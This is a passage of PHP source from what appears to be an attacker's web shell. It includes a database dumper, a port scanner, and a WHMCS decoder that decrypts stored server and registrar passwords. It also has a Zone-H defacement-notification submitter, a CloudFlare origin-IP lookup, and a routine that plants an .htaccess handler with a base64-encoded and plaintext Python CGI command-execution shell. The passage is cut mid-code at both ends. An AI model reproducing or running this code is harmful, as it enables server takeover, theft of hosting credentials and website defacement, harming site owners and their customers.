$dbpass = $_POST['password'];
$dbname = $_POST['dbname'];
$file = "Dump-{$dbname}-{$date}";
$method = $_POST['method'];
if ($method == 'sql') {
$file = "Dump-{$dbname}-{$date}.sql";
$fp = fopen($file, "w");
} else {
$file = "Dump-{$dbname}-{$date}.sql.gz";
$fp = gzopen($file, "w");
}
function write($data)
{
global $fp;
if ($_POST['method'] == 'ssql') {
fwrite($fp, $data);
} else {
gzwrite($fp, $data);
}
}
mysql_connect($dbserver, $dbuser, $dbpass);
mysql_select_db($dbname);
$tables = mysql_query("SHOW TABLES");
while ($i = mysql_fetch_array($tables)) {
$i = $i['Tables_in_' . $dbname];
$create = mysql_fetch_array(mysql_query("SHOW CREATE TABLE " . $i));
write($create['Create Table'] . ";\n\n");
$sql = mysql_query("SELECT * FROM " . $i);
if (mysql_num_rows($sql)) {
while ($row = mysql_fetch_row($sql)) {
foreach ($row as $j => $k) {
$row[$j] = "'" . mysql_escape_string($k) . "'";
}
write("INSERT INTO {$i} VALUES(" . implode(",", $row) . ");\n");
}
}
}
if ($method == 'ssql') {
fclose($fp);
} else {
gzclose($fp);
}
header("Content-Disposition: attachment; filename=" . $file);
header("Content-Type: application/download");
header("Content-Length: " . filesize($file));
flush();
$fp = fopen($file, "r");
while (!feof($fp)) {
echo fread($fp, 65536);
flush();
}
fclose($fp);
}
} elseif (isset($_GET['x']) && $_GET['x'] == 'port-sc') {
?>
<form action="?y=<?php
echo $pwd;
?>&x=port-sc" method="post">
<?php
echo "<br><br><center><br><b>+--=[ Port Scanner ]=--+</b><br>";
$start = strip_tags($_POST['start']);
$end = strip_tags($_POST['end']);
$host = strip_tags($_POST['host']);
if (isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])) {
for ($i = $start; $i <= $end; $i++) {
$fp = @fsockopen($host, $i, $errno, $errstr, 3);
if ($fp) {
echo 'Port ' . $i . ' is <font color=green>open</font><br>';
}
flush();
}
} else {
echo "<table class=tabnet style=\"width:300px;padding:0 1px;\">\r\n <input type=\"hidden\" name=\"y\" value=\"phptools\">\r\n <tr><th colspan=\"5\">Port Scanner</th></center></tr>\r\n <tr>\r\n\t\t<td>Host</td>\r\n\t\t<td><input type=\"text\" class=\"inputz\" style=\"width:220px;color:#00ff00;\" name=\"host\" value=\"localhost\"/></td>\r\n </tr>\r\n <tr>\r\n\t\t<td>Port start</td>\r\n\t\t<td><input type=\"text\" class=\"inputz\" style=\"width:220px;color:#00ff00;\" name=\"start\" value=\"0\"/></td>\r\n </tr>\r\n\t<tr><td>Port end</td>\r\n\t\t<td><input type=\"text\" class=\"inputz\" style=\"width:220px;color:#00ff00;\" name=\"end\" value=\"5000\"/></td>\r\n </tr><td><input class=\"inputzbut\" type=\"submit\" style=\"color:#00ff00\" value=\"Scan Ports\" />\r\n </td></form></center></table>";
}
} elseif (isset($_GET['x']) && $_GET['x'] == 'hash') {
$submit = $_POST['enter'];
if (isset($submit)) {
$pass = $_POST['password'];
// password
$salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN';
// random string
$hash = md5($pass);
// md5 hash #1
$md4 = hash("md4", $pass);
$hash_md5 = md5($salt . $pass);
// md5 hash with salt #2
$hash_md5_double = md5(sha1($salt . $pass));
// md5 hash with salt & sha1 #3
$hash1 = sha1($pass);
// sha1 hash #4
$sha256 = hash("sha256", $text);
$hash1_sha1 = sha1($salt . $pass);
// sha1 hash with salt #5
$hash1_sha1_double = sha1(md5($salt . $pass));
// sha1 hash with salt & md5 #6
}
echo "<form action=\"\" method=\"post\"><b><table class=tabnet>";
echo "<tr><th colspan=\"2\">Password Hash</th></center></tr>";
echo "<tr><td><b>masukan kata yang ingin di encrypt:</b></td>";
echo "<td><input class=\"inputz\" type=\"text\" name=\"password\" size=\"40\" />";
echo "<input class=\"inputzbut\" type=\"submit\" name=\"enter\" value=\"hash\" />";
echo "</td></tr><br>";
echo "<tr><th colspan=\"2\">Hasil Hash</th></center></tr>";
echo '<tr><td>Original Password</td><td><input class=inputz type=text size=50 value=' . $pass . '></td></tr><br><br>';
echo '<tr><td>MD5</td><td><input class=inputz type=text size=50 value=' . $hash . '></td></tr><br><br>';
echo '<tr><td>MD4</td><td><input class=inputz type=text size=50 value=' . $md4 . '></td></tr><br><br>';
echo '<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value=' . $hash_md5 . '></td></tr><br><br>';
echo '<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value=' . $hash_md5_double . '></td></tr><br><br>';
echo '<tr><td>Sha1</td><td><input class=inputz type=text size=50 value=' . $hash1 . '></td></tr><br><br>';
echo '<tr><td>Sha256</td><td><input class=inputz type=text size=50 value=' . $sha256 . '></td></tr><br><br>';
echo '<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value=' . $hash1_sha1 . '></td></tr><br><br>';
echo '<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value=' . $hash1_sha1_double . '></td></tr><br><br></table>';
} elseif (isset($_GET['x']) && $_GET['x'] == 'whmcs') {
?>
<form action="?y=<?php
echo $pwd;
?>&x=whmcs" method="post">
<?php
function decrypt($string, $cc_encryption_hash)
{
$key = md5(md5($cc_encryption_hash)) . md5($cc_encryption_hash);
$hash_key = _hash($key);
$hash_length = strlen($hash_key);
$string = base64_decode($string);
$tmp_iv = substr($string, 0, $hash_length);
$string = substr($string, $hash_length, strlen($string) - $hash_length);
$iv = $out = '';
$c = 0;
while ($c < $hash_length) {
$iv .= chr(ord($tmp_iv[$c]) ^ ord($hash_key[$c]));
++$c;
}
$key = $iv;
$c = 0;
while ($c < strlen($string)) {
if ($c != 0 and $c % $hash_length == 0) {
$key = _hash($key . substr($out, $c - $hash_length, $hash_length));
}
$out .= chr(ord($key[$c % $hash_length]) ^ ord($string[$c]));
++$c;
}
return $out;
}
function _hash($string)
{
if (function_exists('sha1')) {
$hash = sha1($string);
} else {
$hash = md5($string);
}
$out = '';
$c = 0;
while ($c < strlen($hash)) {
$out .= chr(hexdec($hash[$c] . $hash[$c + 1]));
$c += 2;
}
return $out;
}
echo "\r\n<br><center><font size='5' color='#00ff00'><b>-=[ WHMCS Decoder ]=-</b></font></center>\r\n<center>\r\n<br>\r\n\r\n<FORM action='' method='post'>\r\n<input type='hidden' name='form_action' value='2'>\r\n<br>\r\n<table class=tabnet style=width:320px;padding:0 1px;>\r\n<tr><th colspan=2>WHMCS Decoder</th></tr> \r\n<tr><td>db_host </td><td><input type='text' style='color:#00ff00;background-color:' class='inputz' size='38' name='db_host' value='localhost'></td></tr>\r\n<tr><td>db_username </td><td><input type='text' style='color:#00ff00;background-color:' class='inputz' size='38' name='db_username' value=''></td></tr>\r\n<tr><td>db_password</td><td><input type='text' style='color:#00ff00;background-color:' class='inputz' size='38' name='db_password' value=''></td></tr>\r\n<tr><td>db_name</td><td><input type='text' style='color:#00ff00;background-color:' class='inputz' size='38' name='db_name' value=''></td></tr>\r\n<tr><td>cc_encryption_hash</td><td><input style='color:#00ff00;background-color:' type='text' class='inputz' size='38' name='cc_encryption_hash' value=''></td></tr>\r\n<td> <INPUT class='inputzbut' type='submit' style='color:#00ff00;background-color:' value='Submit' name='Submit'></td>\r\n</table>\r\n</FORM>\r\n</center>\r\n";
if ($_POST['form_action'] == 2) {
//include($file);
$db_host = $_POST['db_host'];
$db_username = $_POST['db_username'];
$db_password = $_POST['db_password'];
$db_name = $_POST['db_name'];
$cc_encryption_hash = $_POST['cc_encryption_hash'];
$link = mysql_connect($db_host, $db_username, $db_password);
mysql_select_db($db_name, $link);
$query = mysql_query("SELECT * FROM tblservers");
while ($v = mysql_fetch_array($query)) {
$ipaddress = $v['ipaddress'];
$username = $v['username'];
$type = $v['type'];
$active = $v['active'];
$hostname = $v['hostname'];
echo "<center><table border='1'>";
$password = decrypt($v['password'], $cc_encryption_hash);
echo "<tr><td>Type</td><td>{$type}</td></tr>";
echo "<tr><td>Active</td><td>{$active}</td></tr>";
echo "<tr><td>Hostname</td><td>{$hostname}</td></tr>";
echo "<tr><td>Ip</td><td>{$ipaddress}</td></tr>";
echo "<tr><td>Username</td><td>{$username}</td></tr>";
echo "<tr><td>Password</td><td>{$password}</td></tr>";
echo "</table><br><br></center>";
}
$link = mysql_connect($db_host, $db_username, $db_password);
mysql_select_db($db_name, $link);
$query = mysql_query("SELECT * FROM tblregistrars");
echo "<center>Domain Reseller <br><table class=tabnet border='1'>";
echo "<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>";
while ($v = mysql_fetch_array($query)) {
$registrar = $v['registrar'];
$setting = $v['setting'];
$value = decrypt($v['value'], $cc_encryption_hash);
if ($value == "") {
$value = 0;
}
$password = decrypt($v['password'], $cc_encryption_hash);
echo "<tr><td>{$registrar}</td><td>{$setting}</td><td>{$value}</td></tr>";
}
}
} elseif (isset($_GET['x']) && $_GET['x'] == 'zone') {
?>
<form action="?y=<?php
echo $pwd;
?>&x=zone" method="post">
<br><br><center>
<!-- Zone-H -->
<form action="" method='POST'><table><table class='tabnet'><tr>
<td style='background-color:#0000;padding-left:10px;'><tr><tr><th colspan="2"><h2>Zone-H Defacer</h2></th></tr></td></tr><tr><td height='45' colspan='2'><form method="post">
<input type="text" class="inputz" name="defacer" value="Nama Defacer" />
<select name="hackmode" class="inputz" >
<option >------------------------Pilih Salah Satu------------------------</option>
<option value="1">known vulnerability (i.e. unpatched system)</option>
<option value="2" >undisclosed (new) vulnerability</option>
<option value="3" >configuration / admin. mistake</option>
<option value="4" >brute force attack</option>
<option value="5" >social engineering</option>
<option value="6" >Web Server intrusion</option>
<option value="7" >Web Server external module intrusion</option>
<option value="8" >Mail Server intrusion</option>
<option value="9" >FTP Server intrusion</option>
<option value="10" >SSH Server intrusion</option>
<option value="11" >Telnet Server intrusion</option>
<option value="12" >RPC Server intrusion</option>
<option value="13" >Shares misconfiguration</option>
<option value="14" >Other Server intrusion</option>
<option value="15" >SQL Injection</option>
<option value="16" >URL Poisoning</option>
<option value="17" >File Inclusion</option>
<option value="18" >Other Web Application bug</option>
<option value="19" >Remote administrative panel access bruteforcing</option>
<option value="20" >Remote administrative panel access password guessing</option>
<option value="21" >Remote administrative panel access social engineering</option>
<option value="22" >Attack against administrator(password stealing/sniffing)</option>
<option value="23" >Access credentials through Man In the Middle attack</option>
<option value="24" >Remote service password guessing</option>
<option value="25" >Remote service password bruteforce</option>
<option value="26" >Rerouting after attacking the Firewall</option>
<option value="27" >Rerouting after attacking the Router</option>
<option value="28" >DNS attack through social engineering</option>
<option value="29" >DNS attack through cache poisoning</option>
<option value="30" >Not available</option>
</select>
<select name="reason" class="inputz" >
<option >-------------Pilih Salah Satu---------------</option>
<option value="1" >Heh...just for fun!</option>
<option value="2" >Revenge against that website</option>
<option value="3" >Political reasons</option>
<option value="4" >As a challenge</option>
<option value="5" >I just want to be the best defacer</option>
<option value="6" >Patriotism</option>
<option value="7" >Not available</option>
</select>
<input type="hidden" name="action" value="zone">
<center><textarea style="background:black;outline:none;" name="domain" cols="116" rows="9" id="domains">List Of Domains</textarea>
<br /><input class='inputzbut' type="submit" value="Send Now !" name="SendNowToZoneH" /><br></center></table>
</form></td></tr></table></form>
<!-- End Of Zone-H -->
</td></center><br><br>
<?php
echo "<center>";
ob_start();
$sub = get_loaded_extensions();
if (!in_array("curl", $sub)) {
die('[-] Curl Is Not Supported !! ');
}
$hacker = $_POST['defacer'];
$method = $_POST['hackmode'];
$neden = $_POST['reason'];
$site = $_POST['domain'];
if (empty($hacker)) {
die("[-] You Must Fill the Attacker name !");
} elseif ($method == "--------SELECT--------") {
die("[-] You Must Select The Method !");
} elseif ($neden == "--------SELECT--------") {
die("[-] You Must Select The Reason");
} elseif (empty($site)) {
die("[-] You Must Inter the Sites List ! ");
}
$i = 0;
$sites = explode("\n", $site);
while ($i < count($sites)) {
if (substr($sites[$i], 0, 4) != "http") {
$sites[$i] = "http://" . $sites[$i];
}
ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
echo "Site : " . $sites[$i] . " Defaced !\n";
++$i;
}
echo "[+] Sending Sites To Zone-H Has Been Completed Successfully !! ";
echo "</center>";
} elseif (isset($_GET['x']) && $_GET['x'] == 'bypass-cf') {
echo "\r\n<form method=\"POST\"><br><br>\r\n<center><p align=\"center\" dir=\"ltr\"><b><font size=\"5\" face=\"Tahoma\">+--=[ Bypass\r\n<font color=\"#CC0000\">CloudFlare</font> ]=--+</font></b></p>\r\n<select class=\"inputz\" name=\"krz\">\r\n\t<option>ftp</option>\r\n\t\t<option>direct-conntect</option>\r\n\t\t\t<option>webmail</option>\r\n\t\t\t\t<option>cpanel</option>\r\n</select>\r\n<input class=\"inputz\" type=\"text\" name=\"target\" value=\"url\">\r\n<input class=\"inputzbut\" type=\"submit\" value=\"Bypass\"></center>\r\n\r\n";
$target = $_POST['target'];
# Bypass From FTP
if ($_POST['krz'] == "ftp") {
$ftp = gethostbyname("ftp." . "{$target}");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct \r\nip is : </font><font face='Tahoma' size='2' color='#F68B1F'>{$ftp}</font></p>";
}
# Bypass From Direct-Connect
if ($_POST['krz'] == "direct-conntect") {
$direct = gethostbyname("direct-connect." . "{$target}");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct \r\nip is : </font><font face='Tahoma' size='2' color='#F68B1F'>{$direct}</font></p>";
}
# Bypass From Webmail
if ($_POST['krz'] == "webmail") {
$web = gethostbyname("webmail." . "{$target}");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct \r\nip is : </font><font face='Tahoma' size='2' color='#F68B1F'>{$web}</font></p>";
}
# Bypass From Cpanel
if ($_POST['krz'] == "cpanel") {
$cpanel = gethostbyname("cpanel." . "{$target}");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct \r\nip is : </font><font face='Tahoma' size='2' color='#F68B1F'>{$cpanel}</font></p>";
}
} elseif (isset($_GET['x']) && $_GET['x'] == 'hashid') {
if (isset($_POST['gethash'])) {
$hash = $_POST['hash'];
if (strlen($hash) == 32) {
$hashresult = "MD5 Hash";
} elseif (strlen($hash) == 40) {
$hashresult = "SHA-1 Hash/ /MySQL5 Hash";
} elseif (strlen($hash) == 13) {
$hashresult = "DES(Unix) Hash";
} elseif (strlen($hash) == 16) {
$hashresult = "MySQL Hash / /DES(Oracle Hash)";
} elseif (strlen($hash) == 41) {
$GetHashChar = substr($hash, 40);
if ($GetHashChar == "*") {
$hashresult = "MySQL5 Hash";
}
} elseif (strlen($hash) == 64) {
$hashresult = "SHA-256 Hash";
} elseif (strlen($hash) == 96) {
$hashresult = "SHA-384 Hash";
} elseif (strlen($hash) == 128) {
$hashresult = "SHA-512 Hash";
} elseif (strlen($hash) == 34) {
if (strstr($hash, '$1$')) {
$hashresult = "MD5(Unix) Hash";
}
} elseif (strlen($hash) == 37) {
if (strstr($hash, '$apr1$')) {
$hashresult = "MD5(APR) Hash";
}
} elseif (strlen($hash) == 34) {
if (strstr($hash, '$H$')) {
$hashresult = "MD5(phpBB3) Hash";
}
} elseif (strlen($hash) == 34) {
if (strstr($hash, '$P$')) {
$hashresult = "MD5(Wordpress) Hash";
}
} elseif (strlen($hash) == 39) {
if (strstr($hash, '$5$')) {
$hashresult = "SHA-256(Unix) Hash";
}
} elseif (strlen($hash) == 39) {
if (strstr($hash, '$6$')) {
$hashresult = "SHA-512(Unix) Hash";
}
} elseif (strlen($hash) == 24) {
if (strstr($hash, '==')) {
$hashresult = "MD5(Base-64) Hash";
}
} else {
$hashresult = "Hash type not found";
}
} else {
$hashresult = "Not Hash Entered";
}
?>
<center><br><Br><br>
<form action="" method="POST">
<tr>
<table class="tabnet">
<th colspan="5">Hash Identification</th>
<tr class="optionstr"><B><td>Enter Hash</td></b><td>:</td> <td><input type="text" name="hash" size='60' class="inputz" /></td><td><input type="submit" class="inputzbut" name="gethash" value="Identify Hash" /></td></tr>
<tr class="optionstr"><b><td>Result</td><td>:</td><td><?php
echo $hashresult;
?></td></tr></b>
</table></tr></form>
</center>
<?php
} elseif (isset($_GET['x']) && $_GET['x'] == 'python') {
echo "<center/><br/><b>\r\n +--==[ python Bypass Exploit ]==--+ \r\n </b><br><br>";
mkdir('python', 0755);
chdir('python');
$kokdosya = ".htaccess";
$dosya_adi = ".htaccess";
$dosya = fopen($dosya_adi, 'w') or die("Dosya açılamadı!");
$metin = "AddHandler cgi-script .izo";
fwrite($dosya, $metin);
fclose($dosya);
$pythonp = 'IyEvdXNyL2Jpbi9weXRob24KIyAwNy0wNy0wNAojIHYxLjAuMAoKIyBjZ2ktc2hlbGwucHkKIyBB
IHNpbXBsZSBDR0kgdGhhdCBleGVjdXRlcyBhcmJpdHJhcnkgc2hlbGwgY29tbWFuZHMuCgoKIyBD
b3B5cmlnaHQgTWljaGFlbCBGb29yZAojIFlvdSBhcmUgZnJlZSB0byBtb2RpZnksIHVzZSBhbmQg
cmVsaWNlbnNlIHRoaXMgY29kZS4KCiMgTm8gd2FycmFudHkgZXhwcmVzcyBvciBpbXBsaWVkIGZv
ciB0aGUgYWNjdXJhY3ksIGZpdG5lc3MgdG8gcHVycG9zZSBvciBvdGhlcndpc2UgZm9yIHRoaXMg
Y29kZS4uLi4KIyBVc2UgYXQgeW91ciBvd24gcmlzayAhISEKCiMgRS1tYWlsIG1pY2hhZWwgQVQg
Zm9vcmQgRE9UIG1lIERPVCB1awojIE1haW50YWluZWQgYXQgd3d3LnZvaWRzcGFjZS5vcmcudWsv
YXRsYW50aWJvdHMvcHl0aG9udXRpbHMuaHRtbAoKIiIiCkEgc2ltcGxlIENHSSBzY3JpcHQgdG8g
ZXhlY3V0ZSBzaGVsbCBjb21tYW5kcyB2aWEgQ0dJLgoiIiIKIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIEltcG9ydHMKdHJ5
OgogICAgaW1wb3J0IGNnaXRiOyBjZ2l0Yi5lbmFibGUoKQpleGNlcHQ6CiAgICBwYXNzCmltcG9y
dCBzeXMsIGNnaSwgb3MKc3lzLnN0ZGVyciA9IHN5cy5zdGRvdXQKZnJvbSB0aW1lIGltcG9ydCBz
dHJmdGltZQppbXBvcnQgdHJhY2ViYWNrCmZyb20gU3RyaW5nSU8gaW1wb3J0IFN0cmluZ0lPCmZy
b20gdHJhY2ViYWNrIGltcG9ydCBwcmludF9leGMKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBjb25zdGFudHMKCmZvbnRs
aW5lID0gJzxGT05UIENPTE9SPSM0MjQyNDIgc3R5bGU9ImZvbnQtZmFtaWx5OnRpbWVzO2ZvbnQt
c2l6ZToxMnB0OyI+Jwp2ZXJzaW9uc3RyaW5nID0gJ1ZlcnNpb24gMS4wLjAgN3RoIEp1bHkgMjAw
NCcKCmlmIG9zLmVudmlyb24uaGFzX2tleSgiU0NSSVBUX05BTUUiKToKICAgIHNjcmlwdG5hbWUg
PSBvcy5lbnZpcm9uWyJTQ1JJUFRfTkFNRSJdCmVsc2U6CiAgICBzY3JpcHRuYW1lID0gIiIKCk1F
VEhPRCA9ICciUE9TVCInCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMgUHJpdmF0ZSBmdW5jdGlvbnMgYW5kIHZhcmlhYmxl
cwoKZGVmIGdldGZvcm0odmFsdWVsaXN0LCB0aGVmb3JtLCBub3RwcmVzZW50PScnKToKICAgICIi
IlRoaXMgZnVuY3Rpb24sIGdpdmVuIGEgQ0dJIGZvcm0sIGV4dHJhY3RzIHRoZSBkYXRhIGZyb20g
aXQsIGJhc2VkIG9uCiAgICB2YWx1ZWxpc3QgcGFzc2VkIGluLiBBbnkgbm9uLXByZXNlbnQgdmFs
dWVzIGFyZSBzZXQgdG8gJycgLSBhbHRob3VnaCB0aGlzIGNhbiBiZSBjaGFuZ2VkLgogICAgKGUu
Zy4gdG8gcmV0dXJuIE5vbmUgc28geW91IGNhbiB0ZXN0IGZvciBtaXNzaW5nIGtleXdvcmRzIC0g
d2hlcmUgJycgaXMgYSB2YWxpZCBhbnN3ZXIgYnV0IHRvIGhhdmUgdGhlIGZpZWxkIG1pc3Npbmcg
aXNuJ3QuKSIiIgogICAgZGF0YSA9IHt9CiAgICBmb3IgZmllbGQgaW4gdmFsdWVsaXN0OgogICAg
ICAgIGlmIG5vdCB0aGVmb3JtLmhhc19rZXkoZmllbGQpOgogICAgICAgICAgICBkYXRhW2ZpZWxk
XSA9IG5vdHByZXNlbnQKICAgICAgICBlbHNlOgogICAgICAgICAgICBpZiAgdHlwZSh0aGVmb3Jt
W2ZpZWxkXSkgIT0gdHlwZShbXSk6CiAgICAgICAgICAgICAgICBkYXRhW2ZpZWxkXSA9IHRoZWZv
cm1bZmllbGRdLnZhbHVlCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB2YWx1ZXMg
PSBtYXAobGFtYmRhIHg6IHgudmFsdWUsIHRoZWZvcm1bZmllbGRdKSAgICAgIyBhbGxvd3MgZm9y
IGxpc3QgdHlwZSB2YWx1ZXMKICAgICAgICAgICAgICAgIGRhdGFbZmllbGRdID0gdmFsdWVzCiAg
ICByZXR1cm4gZGF0YQoKCnRoZWZvcm1oZWFkID0gIiIiPEhUTUw+PEhFQUQ+PFRJVExFPmNnaS1z
aGVsbC5weSAtIGEgQ0dJIGJ5IEZ1enp5bWFuPC9USVRMRT48L0hFQUQ+CjxCT0RZPjxDRU5URVI+
CjxIMT5XZWxjb21lIHRvIGNnaS1zaGVsbC5weSAtIDxCUj5hIFB5dGhvbiBDR0k8L0gxPgo8Qj48
ST5CeSBGdXp6eW1hbjwvQj48L0k+PEJSPgoiIiIrZm9udGxpbmUgKyJWZXJzaW9uIDogIiArIHZl
cnNpb25zdHJpbmcgKyAiIiIsIFJ1bm5pbmcgb24gOiAiIiIgKyBzdHJmdGltZSgnJUk6JU0gJXAs
ICVBICVkICVCLCAlWScpKycuPC9DRU5URVI+PEJSPicKCnRoZWZvcm0gPSAiIiI8SDI+RW50ZXIg
Q29tbWFuZDwvSDI+CjxGT1JNIE1FVEhPRD1cIiIiIiArIE1FVEhPRCArICciIGFjdGlvbj0iJyAr
IHNjcmlwdG5hbWUgKyAiIiJcIj4KPGlucHV0IG5hbWU9Y21kIHR5cGU9dGV4dD48QlI+CjxpbnB1
dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iU3VibWl0Ij48QlI+CjwvRk9STT48QlI+PEJSPiIiIgpib2R5
ZW5kID0gJzwvQk9EWT48L0hUTUw+JwplcnJvcm1lc3MgPSAnPENFTlRFUj48SDI+U29tZXRoaW5n
IFdlbnQgV3Jvbmc8L0gyPjxCUj48UFJFPicKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBtYWluIGJvZHkgb2YgdGhlIHNj
cmlwdAoKaWYgX19uYW1lX18gPT0gJ19fbWFpbl9fJzoKICAgIHByaW50ICJDb250ZW50LXR5cGU6
IHRleHQvaHRtbCIgICAgICAgICAjIHRoaXMgaXMgdGhlIGhlYWRlciB0byB0aGUgc2VydmVyCiAg
ICBwcmludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBzbyBpcyB0aGlzIGJs
YW5rIGxpbmUKICAgIGZvcm0gPSBjZ2kuRmllbGRTdG9yYWdlKCkKICAgIGRhdGEgPSBnZXRmb3Jt
KFsnY21kJ10sZm9ybSkKICAgIHRoZWNtZCA9IGRhdGFbJ2NtZCddCiAgICBwcmludCB0aGVmb3Jt
aGVhZAogICAgcHJpbnQgdGhlZm9ybQogICAgaWYgdGhlY21kOgogICAgICAgIHByaW50ICc8SFI+
PEJSPjxCUj4nCiAgICAgICAgcHJpbnQgJzxCPkNvbW1hbmQgOiAnLCB0aGVjbWQsICc8QlI+PEJS
PicKICAgICAgICBwcmludCAnUmVzdWx0IDogPEJSPjxCUj4nCiAgICAgICAgdHJ5OgogICAgICAg
ICAgICBjaGlsZF9zdGRpbiwgY2hpbGRfc3Rkb3V0ID0gb3MucG9wZW4yKHRoZWNtZCkKICAgICAg
ICAgICAgY2hpbGRfc3RkaW4uY2xvc2UoKQogICAgICAgICAgICByZXN1bHQgPSBjaGlsZF9zdGRv
dXQucmVhZCgpCiAgICAgICAgICAgIGNoaWxkX3N0ZG91dC5jbG9zZSgpCiAgICAgICAgICAgIHBy
aW50IHJlc3VsdC5yZXBsYWNlKCdcbicsICc8QlI+JykKCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlv
biwgZTogICAgICAgICAgICAgICAgICAgICAgIyBhbiBlcnJvciBpbiBleGVjdXRpbmcgdGhlIGNv
bW1hbmQKICAgICAgICAgICAgcHJpbnQgZXJyb3JtZXNzCiAgICAgICAgICAgIGYgPSBTdHJpbmdJ
TygpCiAgICAgICAgICAgIHByaW50X2V4YyhmaWxlPWYpCiAgICAgICAgICAgIGEgPSBmLmdldHZh
bHVlKCkuc3BsaXRsaW5lcygpCiAgICAgICAgICAgIGZvciBsaW5lIGluIGE6CiAgICAgICAgICAg
ICAgICBwcmludCBsaW5lCgogICAgcHJpbnQgYm9keWVuZAoKCiIiIgpUT0RPL0lTU1VFUwoKCgpD
SEFOR0VMT0cKCjA3LTA3LTA0ICAgICAgICBWZXJzaW9uIDEuMC4wCkEgdmVyeSBiYXNpYyBzeXN0
ZW0gZm9yIGV4ZWN1dGluZyBzaGVsbCBjb21tYW5kcy4KSSBtYXkgZXhwYW5kIGl0IGludG8gYSBw
cm9wZXIgJ2Vudmlyb25tZW50JyB3aXRoIHNlc3Npb24gcGVyc2lzdGVuY2UuLi4KIiIi';
$file = fopen("python.izo", "w+");
$write = fwrite($file, "#!/usr/bin/python\n# 07-07-04\n# v1.0.0\n\n# cgi-shell.py\n# A simple CGI that executes arbitrary shell commands.\n\n\n# Copyright Michael Foord\n# You are free to modify, use and relicense this code.\n\n# No warranty express or implied for the accuracy, fitness to purpose or otherwise for this code....\n# Use at your own risk !!!\n\n# E-mail michael AT foord DOT me DOT uk\n# Maintained at www.voidspace.org.uk/atlantibots/pythonutils.html\n\n\"\"\"\nA simple CGI script to execute shell commands via CGI.\n\"\"\"\n################################################################\n# Imports\ntry:\n import cgitb; cgitb.enable()\nexcept:\n pass\nimport sys, cgi, os\nsys.stderr = sys.stdout\nfrom time import strftime\nimport traceback\nfrom StringIO import StringIO\nfrom traceback import print_exc\n\n################################################################\n# constants\n\nfontline = '<FONT COLOR=#424242 style=\"font-family:times;font-size:12pt;\">'\nversionstring = 'Version 1.0.0 7th July 2004'\n\nif os.environ.has_key(\"SCRIPT_NAME\"):\n scriptname = os.environ[\"SCRIPT_NAME\"]\nelse:\n scriptname = \"\"\n\nMETHOD = '\"POST\"'\n\n################################################################\n# Private functions and variables\n\ndef getform(valuelist, theform, notpresent=''):\n \"\"\"This function, given a CGI form, extracts the data from it, based on\n valuelist passed in. Any non-present values are set to '' - although this can be changed.\n (e.g. to return None so you can test for missing keywords - where '' is a valid answer but to have the field missing isn't.)\"\"\"\n data = {}\n for field in valuelist:\n if not theform.has_key(field):\n data[field] = notpresent\n else:\n if type(theform[field]) != type([]):\n data[field] = theform[field].value\n else:\n values = map(lambda x: x.value, theform[field]) # allows for list type values\n data[field] = values\n return data\n\n\ntheformhead = \"\"\"<HTML><HEAD><TITLE>cgi-shell.py - a CGI by Fuzzyman</TITLE></HEAD>\n<BODY><CENTER>\n<H1>Welcome to cgi-shell.py - <BR>a Python CGI</H1>\n<B><I>By Fuzzyman</B></I><BR>\n\"\"\"+fontline +\"Version : \" + versionstring + \"\"\", Running on : \"\"\" + strftime('%I:%M %p, %A %d %B, %Y')+'.</CENTER><BR>'\n\ntheform = \"\"\"<H2>Enter Command</H2>\n<FORM METHOD=\\\"\"\"\" + METHOD + '\" action=\"' + scriptname + \"\"\"\\\">\n<input name=cmd type=text><BR>\n<input type=submit value=\"Submit\"><BR>\n</FORM><BR><BR>\"\"\"\nbodyend = '</BODY></HTML>'\nerrormess = '<CENTER><H2>Something Went Wrong</H2><BR><PRE>'\n\n################################################################\n# main body of the script\n\nif __name__ == '__main__':\n print \"Content-type: text/html\" # this is the header to the server\n print # so is this blank line\n form = cgi.FieldStorage()\n data = getform(['cmd'],form)\n thecmd = data['cmd']\n print theformhead\n print theform\n if thecmd:\n print '<HR><BR><BR>'\n print '<B>Command : ', thecmd, '<BR><BR>'\n print 'Result : <BR><BR>'\n try:\n child_stdin, child_stdout = os.popen2(thecmd)\n child_stdin.close()\n result = child_stdout.read()\n child_stdout.close()\n print result.replace('\\n', '<BR>')\n\n except Exception, e: # an error in executing the command\n print errormess\n f = StringIO()\n print_exc(file=f)\n a = f.getvalue().splitlines()\n for line in a:\n print line\n\n print bodyend\n\n\n\"\"\"\nTODO/ISSUES\n\n\n\nCHANGELOG\n\n07-07-04 Version 1.0.0\nA very basic system for executing shell commands.\nI may expand it into a proper 'environment' with session persistence...\n\"\"\"");
fclose($file);
chmod("python.izo", 0755);
echo " <iframe src=python/python.izo width=96% height=76% frameborder=0></iframe>\r\n \r\n </div>";
} elseif (isset($_GET['x']) && $_GET['x'] == 'string') {
$text = $_POST['code'];
